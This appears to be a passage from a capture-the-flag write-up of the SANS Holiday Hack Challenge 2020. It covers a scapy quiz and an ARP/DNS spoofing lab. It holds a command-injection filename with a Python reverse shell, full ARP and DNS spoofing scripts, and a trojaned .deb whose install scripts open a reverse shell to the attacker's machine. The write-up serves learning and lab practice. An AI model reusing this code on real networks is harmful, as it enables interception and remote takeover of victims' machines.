$ touch "test' "'`python3 -c '"'"'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(($PUT_YOUR_IP_HERE,$PUT_YOUR_PORT_HERE));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\x2fbin\x2fsh","-i"]);'"'"'` # .png'
$ zip payload.zip test*
  adding: test' `python3 -c [snip]

And on our reverse shell:

reverse~$ nc -nlvp <port>
listening on [any] <port> ...
connect to [x.x.x.x] from (UNKNOWN) [35.232.236.115] 49528
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app
$ pwd
/tmp
$ date
Wed Dec 30 16:59:34 UTC 2020
$ cat /etc/debian_version
10.3
$ ip a sh eth0
167: eth0@if168: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:14:00:04 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.20.0.4/16 brd 172.20.255.255 scope global eth0
       valid_lft forever preferred_lft forever
$ echo $GREETZ
JackFrostWasHere

Ah! It was indeed a Debian Buster.

Objective 9:

Alabaster Snowball's Cranberry Pi Challenge

╔════════════════════════════════════════════════════════════════╗
║  ___ ___ ___ ___ ___ _  _ _____   ___  _   ___ _  _____ _____  ║
║ | _ \ _ \ __/ __| __| \| |_   _| | _ \/_\ / __| |/ / __|_   _| ║
║ |  _/   / _|\__ \ _|| .` | | |   |  _/ _ \ (__| ' <| _|  | |   ║
║ |_| |_|_\___|___/___|_|\_| |_|   |_|/_/ \_\___|_|\_\___| |_|   ║
║                ___                                             ║
║               | _ \_ _ ___ _ __ _ __  ___ _ _                  ║
║               |  _/ '_/ -_) '_ \ '_ \/ -_) '_|                 ║
║               |_| |_| \___| .__/ .__/\___|_|                   ║
║                           |_|  |_|                             ║
║                (Packets prepared with scapy)                   ║
╚════════════════════════════════════════════════════════════════╝
Type "yes" to begin. yes
╔════════════════════════════════════════════════════════════════╗
║ HELP MENU:                                                     ║
╠════════════════════════════════════════════════════════════════╣
║ 'help()' prints the present packet scapy help.                 ║
║ 'help_menu()' prints the present packet scapy help.            ║
║ 'task.get()' prints the current task to be solved.             ║
║ 'task.task()' prints the current task to be solved.            ║
║ 'task.help()' prints help on how to complete your task         ║
║ 'task.submit(answer)' submit an answer to the current task     ║
║ 'task.answered()' print through all successfully answered.     ║
╚════════════════════════════════════════════════════════════════╝
>>> task.get()
Welcome to the "Present Packet Prepper" interface! The North Pole could use your help preparing present packets for shipment.

So, this kind of looks like Sugarplum Mary's challenge, but instead of having to show basic understanding of Linux commands, we must show a basic understanding of scapy, the famous packet manipulation Python library.

I found the answers in scapy's documentation. I'll detail answers that were not trivial. Let's go:

Start by running the task.submit() function passing in a string argument of 'start'.
Type task.help() for help on this question.
>>> task.submit('start')
Correct! adding a () to a function or class will execute it. Ex - FunctionExecuted()

Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.

>>> task.submit(scapy.sendrecv.send)
Correct! The "send" scapy class will send a crafted scapy packet out of a network interface.

Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.

>>> task.submit(sniff)
Correct! the "sniff" scapy class will sniff network traffic and return these packets in a list.

Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt":
1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))

>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.

Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.

>>> task.submit(rdpcap)
Correct! the "rdpcap" scapy class can read pcap files.

The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()

>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.


Submit only the first packet found in UDP_PACKETS.

>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.

For the following question, I took a convoluted approach, using getlayer(scapy.layers.inet.TCP), where I could have just done task.submit(TCP_PACKETS[1][TCP]) (I also didn't realize that every class had been directly imported):

Submit only the entire TCP layer of the second packet in TCP_PACKETS.

>>> task.submit(TCP_PACKETS[1].getlayer(scapy.layers.inet.TCP))
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc... can be accessed this way. Ex - pkt[IP][TCP]

Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet

>>> pkt = UDP_PACKETS[0]

>>> pkt[IP]
<IP  version=4 ihl=5 tos=0x0 len=60 id=0 flags=DF frag=0 ttl=64 proto=udp chksum=0x6543 src=192.168.170.8 dst=192.168.170.20 |<UDP  sport=32795 dport=domain len=40 chksum=0xaf61 |<DNS  id=30144 qr=0 opcode=QUERY aa=0 tc=0 rd=1 ra=0 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.elves.rule.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>

>>> pkt[IP].src = '127.0.0.1'

>>> task.submit(pkt)
Correct! You can change ALL scapy packet attributes using this method.

For the following question, I coded a for loop displaying the raw packets contained in TCP_PACKETS. We can see that Alabaster is connecting to an FTP server, and is sending his password with the command PASS echo. Therefore, his password is echo.

Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.

>>> for p in TCP_PACKETS:
...     try:
...         print(p[Raw])
...     except:
...         continue
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'220 North Pole FTP Server\r\n'
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'USER alabaster\r'
WARNING: more Calling str(pkt) on Python 3 makes no sense!
b'331 Password required for alabaster.\r'
b'PASS echo\r\n'
b'230 User alabaster logged in.\r'

>>> task.submit('echo')
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]

The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.

>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][ICMP].chksum .

For the following question, only answers 1. and 3. are ICMP echo-request, so answer 2. is out. Then, we can see that answer 1. is defining an IP address source of 127.0.0.1 in the Ether constructor, which is the data link layer, below the network layer. So this answer is incorrect. The only good remaining answer is the third one:

Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named "pkt"
1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")

>>> task.submit(3)
Correct! Once you assign the packet to a variable named "pkt" you can then use that variable to send or manipulate your created packet.

Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)

>>> task.submit(IP(dst='127.127.127.127') / UDP(dport=5000))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.127.127.127")/UDP(dport=5000)
task.submit(pkt)

For the next question, I used the scapy documentation on creating DNS requests:

Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)

>>> pkt = IP(dst='127.2.3.4') / UDP(dport=53) / DNS(qd=DNSQR(qname='elveslove.santa'))

>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))

For the following answer, I first took a look at both packets:

The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.

>>> ARP_PACKETS[0]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>>

>>> ARP_PACKETS[1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r' |>>>

We can see the three problems in the ARP layer of the second packet:

op is set to None, where it should be set to ARP response. By digging in scapy's documentation, we can see that an ARP request (op=who-has) means op=1 and an ARP reply (is-at) means op=2.
hwsrc is set to the broadcast address, where it should be set to the MAC address of the sender, which, from the Ether layer, is 00:13:46:0b:22:ba.
hwdst is also set to the broadcast address, where it should be set to the MAC address of the receiver, which, still from the Ether layer (either of the first or second packet) is 00:16:ce:6e:8b:24.

Let's fix all these three things:

>>> ARP_PACKETS[1][ARP].op = 2

>>> ARP_PACKETS[1][ARP].hwsrc = '00:13:46:0b:22:ba'

>>> ARP_PACKETS[1][ARP].hwdst = '00:16:ce:6e:8b:24'

>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!

Congratulations, all pretty present packets properly prepared for processing!

ARP Shenanigans

I think this challenge is the most fun of the bunch. We're told that Jack Frost has hijacked a machine with IP address 10.6.6.35, and we're supposed to get an access back to it. We're given a machine on the same network of our target.

A help file is provided:

# How To Resize and Switch Terminal Panes:

You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals.

You can use the key combinations ( Ctrl+B o ) to switch terminal panes.

See tmuxcheatsheet.com for more details

# To Add An Additional Terminal Pane:

`/usr/bin/tmux split-window -hb`

# To exit a terminal pane simply type:

`exit`

# To Launch a webserver to serve-up files/folder in a local directory:

```

cd /my/directory/with/files

python3 -m http.server 80

```

# A Sample ARP pcap can be viewed at:

https://www.cloudshark.org/captures/d97c5b81b057

# A Sample DNS pcap can be viewed at:

https://www.cloudshark.org/captures/0320b9b57d35

# If Reading arp.pcap with tcpdump or tshark be sure to disable name

# resolution or it will stall when reading:

```

tshark -nnr arp.pcap

tcpdump -nnr arp.pcap

```

NB: the IP of my machine has changed several times during this challenge, so you may see discrepancies between the different PCAPs or the results of ip commands. However, our IP address is always in 10.6.0.0/24.

The challenge seems to be network oriented. Let's start with a simple network capture with tcpdump, while we ping the hijacked machine:

In a term:

guest@e25a4aa6f87a:~/pcaps$ tcpdump -i eth0 -w ping.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

In another:

guest@e25a4aa6f87a:~$ ping 10.6.6.35
PING 10.6.6.35 (10.6.6.35) 56(84) bytes of data.
64 bytes from 10.6.6.35: icmp_seq=1 ttl=64 time=0.128 ms
64 bytes from 10.6.6.35: icmp_seq=2 ttl=64 time=0.171 ms
64 bytes from 10.6.6.35: icmp_seq=3 ttl=64 time=0.143 ms

Here's a link to ping.pcap. We can see my ping request, but that is not what's interesting in this capture. We can see that our hijacked machine, 10.6.6.35, keeps sending ARP requests for an IP address 10.6.6.53. We can guess that if it keeps sending these requests, it's because the machine behind 10.6.6.53 is not responding.

This is the perfect set-up to perform an ARP poisoning attack: we can respond to these requests to pretend that we are the machine between 10.6.6.53. You can read more about ARP poisoning on Wikipedia.

Luckily for us, our machine has a skeleton of a Python script used to sniff ARP requests. Here's a link to arp_resp.py.

We can see that we have to complete the different portions of the file. Let's start by something simple. For now, our MAC address is randomly generated: let's get the true MAC address of our eth0 interface:

macaddr = get_if_hwaddr('eth0')

We must then complete different ARP fields in our response packet. Luckily, we're provided with a PCAP with a valid ARP exchange. Here's a link to arp.pcap.

You can open it in Wireshark, but since we've had fun with scapy in the previous task, let's use it:

>>> arp_packets = rdpcap('./pcap/arp.pcap')
>>> arp_response = arp_packets[1] # the response is the second packet
>>> arp_response.op
2
>>> arp_response.plen
4
>>> arp_response.hwlen
6
>>> arp_response.ptype
2048
>>> arp_response.hwtype
1

We can now edit our script:

arp_response.op = 2
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 2048
arp_response.hwtype = 1

Now, onto the actual poisoning. We must find:

The MAC address of the machine who sent the request
The IP address of the machine who sent the request
The IP address they were trying to convert

We can find all these informations from the ARP request. Let's study the one in our example arp.pcap:

>>> arp_request = arp_packets[0]
>>> arp_request.show()
###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = cc:01:10:dc:00:00
  type      = ARP
###[ ARP ]###
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = who-has
     hwsrc     = cc:01:10:dc:00:00
     psrc      = 10.10.10.2
     hwdst     = 00:00:00:00:00:00
     pdst      = 10.10.10.1
###[ Padding ]###
        load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

We can find:

The MAC address who sent the request in arp_request.hwsrc
The IP address who sent the request in arp_request.psrc
The IP address they were trying to convert in arp_request.pdst

We can now finally complete our Python script:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = get_if_hwaddr('eth0')

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst=packet.hwsrc, type=0x806, src=macaddr)

        arp_response = ARP(pdst=packet.psrc)
        arp_response.op = 2
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 2048
        arp_response.hwtype = 1

        arp_response.hwsrc = macaddr
        arp_response.psrc = packet.pdst
        arp_response.hwdst = packet.hwsrc
        arp_response.pdst = packet.psrc

        response = ether_resp/arp_response

        sendp(response, iface='eth0')

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)

if __name__ == "__main__":
    main()

Now, we can launch our script, and perform another network capture:

In a term:

guest@e25a4aa6f87a:~/pcaps$ tcpdump -i eth0 -w arp_poisoning.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

In another:

guest@e25a4aa6f87a:~/scripts$ ./arp_resp.py
.
Sent 1 packets.

Here's a link to arp_poisoning.pcap.

We can see that our ARP poisoning attack worked! Our hijacked machine received our response, and then sent a DNS request to us, to resolve ftp.osuosl.org. Now, that's interesting, cause we can pretend to be a DNS server, and send an invalid DNS response, stating that ftp.osuosl.org resolves to our own IP address. That way, the hijacked machine will keep trying to connect to our own machine, and we can study what it wants.

Lucily for us, we're (again) given the skeleton to a Python script that can sniff DNS requests and send a response. Here's a link to dns_resp.py.

As before, we must complete the different parts of the script. First things first, we must properly specify our MAC address, and the IP we spoofed:

# Our Mac Addr
macaddr = get_if_hwaddr('eth0')
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = '10.6.6.53'

Then, we must build our packet from the ground up. We're gonna need:

Ethernet layer: - A source MAC address - A destination MAC address
IP layer: - A source IP address - A destination IP address
UDP layer: - A source port - A destination port
DNS layer: - A complete DNS response

For the first three layers, we can get these information from our network interface, or from the source packet:

eth = Ether(src=macaddr, dst=packet.src)   # The source MAC address is our own, the destination is from the packet
ip  = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed) # The source IP is the one we spoofed, the destination is from the packet
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) # We simply invert the source and destination ports from the original packet

Now, let's build the DNS layer. What a stroke of luck, we're given a PCAP with a valid DNS exchange! Here's a link to dns.pcap.

As before, let's take a look at it with scapy:

>>> dns_request[DNS].show()
###[ DNS ]###
  id        = 30144
  qr        = 0
  opcode    = QUERY
  aa        = 0
  tc        = 0
  rd        = 1
  ra        = 0
  z         = 0
  ad        = 0
  cd        = 0
  rcode     = ok
  qdcount   = 1
  ancount   = 0
  nscount   = 0
  arcount   = 0
  \qd        \
   |###[ DNS Question Record ]###
   |  qname     = 'www.netbsd.org.'
   |  qtype     = A
   |  qclass    = IN
  an        = None
  ns        = None
  ar        = None

>>> dns_response[DNS].show()
###[ DNS ]###
  id        = 30144
  qr        = 1
  opcode    = QUERY
  aa        = 0
  tc        = 0
  rd        = 1
  ra        = 1
  z         = 0
  ad        = 0
  cd        = 0
  rcode     = ok
  qdcount   = 1
  ancount   = 1
  nscount   = 0
  arcount   = 0
  \qd        \
   |###[ DNS Question Record ]###
   |  qname     = 'www.netbsd.org.'
   |  qtype     = A
   |  qclass    = IN
  \an        \
   |###[ DNS Resource Record ]###
   |  rrname    = 'www.netbsd.org.'
   |  type      = A
   |  rclass    = IN
   |  ttl       = 82159
   |  rdlen     = None
   |  rdata     = 204.152.190.12
  ns        = None
  ar        = None

We can see that the DNS response shares a lot of attributes with the DNS request:

They have the same id
The response contains a copy of the DNS request in the qd attribute

We can also see that:

qr is set to 1.
ra is set to 1.
ancount is set to 1.
an contains a DNS Resource Record (the class DNSRR in scapy). Inside this response, rrname is the same as the request's qname attribute.
an.rdata contains the IP address the domain name resolves to.

With all this, we can complete our Python script:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = get_if_hwaddr('eth0')
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = '10.6.6.53'
def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src=macaddr, dst=packet.src)   # The source MAC address is our own, the destination is from the packet
    ip  = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed) # The source IP is the one we spoofed, the destination is from the packet
    udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) # We simply invert the source and destination ports from the original packet
    dns = DNS(
            id=packet[DNS].id,
            qr=1,
            ra=1,
            ancount=1,
            qd=packet[DNS].qd.copy(), # we get a copy of the request from the original packet
            an=DNSRR(rrname=packet[DNS].qd.qname, ttl=82159, rdata=ipaddr) # here, we resolve to our own IP address
    )
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
    main()

Now, let's perform both ARP and DNS poisoning, while performing a network capture:

In a term:

guest@e25a4aa6f87a:~/pcaps$ tcpdump -i eth0 -w arp_dns_poisoning.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

In another:

guest@e25a4aa6f87a:~/scripts$ ./dns_resp.py
.
Sent 1 packets.

In yet another:

guest@e25a4aa6f87a:~/scripts$ ./arp_resp.py
.
Sent 1 packets.

Here's a link to arp_dns_poisoning.pcap.

Our script properly responded to the DNS request, and sent an answer saying that ftp.osuosl.org resolves to 10.6.0.3, which is the IP address of our own machine. We can then see that the hijacked machine tries to connect to our machine on TCP port 80. Since our port is closed, we send a RST packet. There's also a bunch of TLS traffic that we won't look at right now.

TCP/80 is associated to HTTP traffic, so the hijacked machine is probably trying to connect to an HTTP server. Let's spin up a simple HTTP server, and perform our poisoning attacks again:

guest@e25a4aa6f87a:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [31/Dec/2020 12:15:09] code 404, message File not found
10.6.6.35 - - [31/Dec/2020 12:15:09] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -

The hijacked machine tries to download the file /pub/jfrost/backdoor/suriv_amd64.deb Debian package ("suriv" is "virus" backwards, super sneaky).

Now that is great news! The hijacked machine is probably trying to update its virus, and is downloading a .deb file, which it will probably try to install using dpkg. If we replace suriv_amd64.deb by a .deb of our own making, we could gain code execution on the hijacked machine!

But we don't have the original suriv_amd64.deb so how can we modify it? We don't know how the original package works, so how can we be sure that our executable will be properly launched?

Well, turns out, we don't need the original package. Indeed, .deb packages can embed scripts that will be launched before/after installation/removal. So, we can build a barebone .deb package, with only a post-install script.

I used this handy guide on how to build .deb packages, I suggest you read it. I first tried to put my payload in the preinst script, but it was never executed on our target machine, despite it working on my test machine. However, using both preinst and postinst works. If anyone knows why one set-up works and the other doesn't, I'm interested!

Now, what can we use as a payload? Well, remember the TLS traffic we saw between our machine and the hijacked machine? Turns out, the hijacked machine has a TLS server listening on TCP port 64352:

Let's try to connect to it using OpenSSL:

guest@e25a4aa6f87a:~$ openssl s_client -connect 10.6.6.35:64352
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 C = US, ST = bla, L = asdf, O = asdf, OU = asdf, CN = asdf, emailAddress = asdf
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = bla, L = asdf, O = asdf, OU = asdf, CN = asdf, emailAddress = asdf
verify return:1
---
[snip]
test
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 400</p>
        <p>Message: Bad request syntax ('test').</p>
        <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
    </body>
</html>
read:errno=0

Seems to be an HTTPS server, with a self-signed certificate, let's confirm it:

guest@e25a4aa6f87a:~$ curl -i -k https://10.6.6.35:64352
HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 232
Server: Werkzeug/1.0.1 Python/3.8.5
Date: Thu, 31 Dec 2020 12:36:28 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

It's indeed an HTTPS server, using the Werkzeug Python library. So, we can suppose that our target machine has Python3 installed. Therefore, we can use Python3 to get our reverse shell.

Let's build our malicious .deb!

guest@e25a4aa6f87a:~$ mkdir -p suriv_amd64/DEBIAN

Let's put a fake control file, as well as our payload-holding preinst and postinst scripts:

guest@e25a4aa6f87a:~$ cat suriv_amd64/DEBIAN/control
Package: suriv
Version: 1.0
Architecture: amd64
Maintainer: Jack Frost <jack@frost.com>
Description: Suriv package from Jack Frost
 Totally not a backdoor
guest@e25a4aa6f87a:~$ chmod +x suriv_amd64/DEBIAN/postinst # we must make sure the script is executable
guest@e25a4aa6f87a:~$ cat suriv_amd64/DEBIAN/postinst
#!/bin/sh

python3 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.0.3",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
guest@e25a4aa6f87a:~$ cp suriv_amd64/DEBIAN/postinst suriv_amd64/DEBIAN/preinst

Let's package it:

guest@e25a4aa6f87a:~$ dpkg-deb --build --root-owner-group suriv_amd64
dpkg-deb: building package 'suriv' in 'suriv_amd64.deb'.

Finally, let's build our webroot, and place our payload:

guest@e25a4aa6f87a:~$ mkdir -p webroot/pub/jfrost/backdoor/
guest@e25a4aa6f87a:~$ mv suriv_amd64.deb ./webroot/pub/jfrost/backdoor/

In a term:

guest@e25a4aa6f87a:~$ nc -nlvp 8080
listening on [any] 8080 ...

In another:

guest@e25a4aa6f87a:~$ cd webroot/
guest@e25a4aa6f87a:~/webroot$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

In yet another:

guest@e25a4aa6f87a:~/scripts$ ./dns_resp.py
.
Sent 1 packets.

In yet yet another:

guest@e25a4aa6f87a:~/scripts$ ./arp_resp.py
.
Sent 1 packets.

And after a while, we get our reverse shell:

guest@e25a4aa6f87a:~$ nc -nlvp 8080
listening on [any] 8080 ...
connect to [10.6.0.2] from (UNKNOWN) [10.6.6.35] 43898
bash: /root/.bashrc: Permission denied
jfrost@e322017256e1:/$ ls
ls
NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt  etc    lib64   opt   sbin  usr
bin                                            home   libx32  proc  srv   var
boot                                           lib    media   root  sys
dev                                            lib32  mnt     run   tmp

We can now finally get the content of the NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt file.

NORTH POLE LAND USE BOARD MEETING MINUTES

January 20, 2020

Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pole

Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.

Roll call of Board members please:

Chairman Jack Frost - Present

Vice Chairman Mother Nature - Present

Superman - Present

Clarice - Present

Yukon Cornelius - HERE!

Ginger Breaddie - Present

King Moonracer - Present

Mrs. Donner - Present

Tanta Kringle - Present

Charlie In-the-Box - Here

Krampus - Growl

Dolly - Present

Snow Miser - Heya!

Alabaster Snowball - Hello

Queen of the Winter Spirits - Present

ALSO PRESENT:

Kris Kringle

Pepper Minstix

Heat Miser

Father Time

Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting.

Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman. Minutes approved.

OLD BUSINESS: No Old Business.

RESOLUTIONS: The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle. Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.” Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.” Chairman Frost then noted, “But the additional traffic will be a burden on local residents.” Dolly explained traffic projections were all in alignment with existing roadways. Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.

Approved:

Mother Nature

Superman

Clarice

Yukon Cornelius

Ginger Breaddie

King Moonracer

Mrs. Donner

Charlie In the Box

Krampus

Dolly

Snow Miser

Alabaster Snowball

Queen of the Winter Spirits

Opposed:

Jack Frost

Resolution carries. Construction approved.

NEW BUSINESS:

Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc. Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two orders of magnitude too high. Why, it might burn the whole North Pole down!” Mr. H. Miser replied with a laugh, “That’s the whole point!” The board voted unanimously to reject the initial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.

Motion to adjourn – So moved, Krampus. Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan. Meeting adjourned.

Sounds like things got pretty heated (get it?) at the North Pole land use board meeting. Plans to expand Santa's Castle were approved by all, except by Jack Frost. Tanta Kringle recused herself due to the fact she adopted Santa, and was therefore not impartial.

Regarding the technical aspect of this challenge, if you ask yourself how we could listen on TCP port 80 or crafting and sending raw packets without being root on our machine, it's because the Python executable has the proper capabilities:

guest@c55799ca6034:~$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_net_bind_service,cap_net_admin,cap_net_raw+eip

CAP_NET_BIND_SERVICE: Bind a socket to Internet domain privileged ports (port numbers less than 1024).
CAP_NET_ADMIN: Perform various network-related operations.
CAP_NET_RAW:
- use RAW and PACKET sockets;
- bind to any address for transparent proxying.

More informations on Linux capabilities here.

Regarding the TLS traffic between our machine and the hijacked machine (remember the Werkzeug server?), I guess it's some kind of C&C traffic simulation. I wanted to investigate using the reverse shell, but we're dropped to a low-privileged user called jfrost. Oh well!

Objective 10: Defeat Fingerprint Sensor

Several ways to bypass the fingerprint sensor were detailed in this section and this section.

Objective 11:

Naughty/Nice List with Blockchain Investigation Part 1

In Santa's office, we can find the Naughty/Nice list, right on the desk. It's stored as a blockchain that you can download here. To get a presentation on the Naughty/Nice blockchain, you can check this KringleCon talk from Prof. Qwerty Petabyte. You can also download the Official Naughty/Nice Blockchain Education Pack, which includes Python code to interact with the blockchain.dat.

Just quickly, the information to determine is naughty or nice are stored in a block:

The nonce is a 64-bit random value, that is used to prevent attacks on MD5 (yeah, the blockchain uses MD5 as a hash function, because it was implemented long ago).

But how secure are these nonces? Let's take a look at the naughty_nice.py from the blockchain education pack linked earlier, to see how they are generated:

class Block():
    def __init__(self, index=None, block_data=None, previous_hash=None, load=False, genesis=False):
        if(genesis == True):
            return None
        else:
            self.data = []
            if(load == False):
